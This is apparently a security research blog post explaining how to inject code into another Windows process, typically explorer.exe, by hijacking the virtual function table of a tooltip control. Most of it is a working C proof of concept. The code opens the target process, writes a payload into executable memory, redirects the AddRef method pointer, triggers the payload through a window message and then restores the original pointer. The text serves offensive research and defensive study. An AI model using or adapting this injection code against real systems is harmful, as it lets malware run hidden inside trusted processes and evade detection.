Windows Process Injection: Tooltip or Common Controls

Introduction

Tooltips appear automatically to a mouse pointer hovering over an element in a user interface. This helps users identify the purpose of a file, a button or menu item. These tooltips store data about itself in a structure located at index zero of the Window Bytes. The first entry in the structure is a pointer to a class object called CToolTipsMgr. There are at least five methods here, three for the IUnknown interface which CToolTipsMgr inherits from and two to control the tooltip object itself. By changing the address of a method/function pointer, it’s possible to perform process injection via a window message.

Locating Controls

Figure 1 shows the properties of a tooltip control window.

Figure 1. Window properties for tooltip class.

As you can see, index zero of the window bytes are set to a value. This is a heap object that contains among other things, a pointer to a class object or virtual function table at offset zero. Figure 2 shows a partial dump of the memory in Windows Debugger while figure 3 shows the methods of the class used to control the window.

Figure 2. Heap object for window.

Figure 3. Methods of tool tip control window.

The PoC doesn’t target any specific process, but since explorer.exe will likely be the first to create a Tooltip control, it’s relatively safe to assume a window belonging to that process will be returned by a call to the FindWindow API for classes named “tooltips_class32”. You could also use the EnumWindows API to find them all and target a specific process. Figure 4 shows a list of these classes found on a 64-bit version of Windows 10.

Figure 4. List of tooltip windows found via EnumWindows.

Injection

The following code demonstrates the injection works. The full version can be found here.

VOID comctrl_inject(LPVOID payload, DWORD payloadSize) {
    HWND         hw = 0;
    SIZE_T       rd, wr;
    LPVOID       ds, cs, p, ptr;
    HANDLE       hp;
    DWORD        pid;
    IUnknown_VFT unk;
    
    // 1. find a tool tip window.
    //    read index zero of window bytes
    hw = FindWindow(L"tooltips_class32", NULL);
    p  = (LPVOID)GetWindowLongPtr(hw, 0);
    GetWindowThreadProcessId(hw, &pid);
    
    // 2. open the process and read CToolTipsMgr
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if(hp == NULL) return;
    ReadProcessMemory(hp, p, &ptr, sizeof(ULONG_PTR), &rd);
    ReadProcessMemory(hp, ptr, &unk, sizeof(unk), &rd);
    
    //printf("HWND : %p Heap : %p PID : %i vftable : %p\n", 
      // hw, p, pid, ptr);
    
    // 3. allocate RWX memory and write payload there.
    //    update callback
    cs = VirtualAllocEx(hp, NULL, payloadSize, 
      MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    
    // 4. allocate RW memory and write new CToolTipsMgr
    unk.AddRef = cs;
    ds = VirtualAllocEx(hp, NULL, sizeof(unk),
      MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hp, ds, &unk, sizeof(unk), &wr);
    
    // 5. update pointer, trigger execution
    WriteProcessMemory(hp, p, &ds, sizeof(ULONG_PTR), &wr);
    PostMessage(hw, WM_USER, 0, 0);

    // sleep for moment
    Sleep(1);
    
    // 6. restore original pointer and cleanup
    WriteProcessMemory(hp, p, &ptr, sizeof(ULONG_PTR), &wr);    
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}

Summary

The PoC only works with Tooltip class, but there are other controls that can also be used for process injection. Tab controls, progress bars, status bars, tree views, toolbars, list views are just some other examples. The reason tooltips were used in this post is because many of them are already created by explorer.exe.

This entry was posted in injection, process injection, programming, security, windows and tagged , , . Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s